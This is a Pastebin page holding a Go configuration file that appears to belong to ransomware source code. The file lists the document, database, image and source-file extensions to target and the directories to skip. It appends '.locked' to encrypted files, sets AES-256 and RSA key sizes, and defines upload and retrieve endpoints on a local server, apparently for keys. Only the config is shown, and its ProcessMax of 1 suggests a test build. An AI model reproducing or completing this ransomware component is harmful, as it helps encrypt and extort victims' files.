Advertisement
FlyFar

config.go

Dec 17th, 2023
988
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.01 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. // Extensions to walk
  4. var Extensions = [...]string{
  5.     "txt",
  6.     "doc",
  7.     "docx",
  8.     "xls",
  9.     "xlsx",
  10.     "ppt",
  11.     "pptx",
  12.     "odt",
  13.     "jpg",
  14.     "png",
  15.     "csv",
  16.     "sql",
  17.     "mdb",
  18.     "sln",
  19.     "php",
  20.     "asp",
  21.     "aspx",
  22.     "html",
  23.     "xml",
  24.     "psd",
  25. }
  26.  
  27. // IgnoreDirs will skip directories that contains the string
  28. var IgnoreDirs = [...]string{
  29.     "AppData",
  30.     ".",
  31. }
  32.  
  33. const (
  34.     // LockedExtension to append to file name when encrypted
  35.     LockedExtension = ".locked"
  36.  
  37.     // ProcessMax X files, then stop
  38.     ProcessMax int = 1
  39.  
  40.     // KeySize in bytes (AES-256)
  41.     KeySize int = 32
  42.  
  43.     // Bits Keypair bit size (higher = exponentially slower)
  44.     Bits int = 1024
  45.  
  46.     // EncryptedHeaderSize I don't know how to calculate the length of RSA ciphertext, but with KeySize + aes.BlockSize it'll be 128 bytes
  47.     // Check this if changing AES keysize or RSA bit size
  48.     EncryptedHeaderSize int = 128
  49.  
  50.     // Endpoint web server URL
  51.     UploadEndpoint = "http://localhost:1312/upload"
  52.  
  53.     RetrieveEndpoint = "http://localhost:1312/retrieve"
  54. )
Tags: Config
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement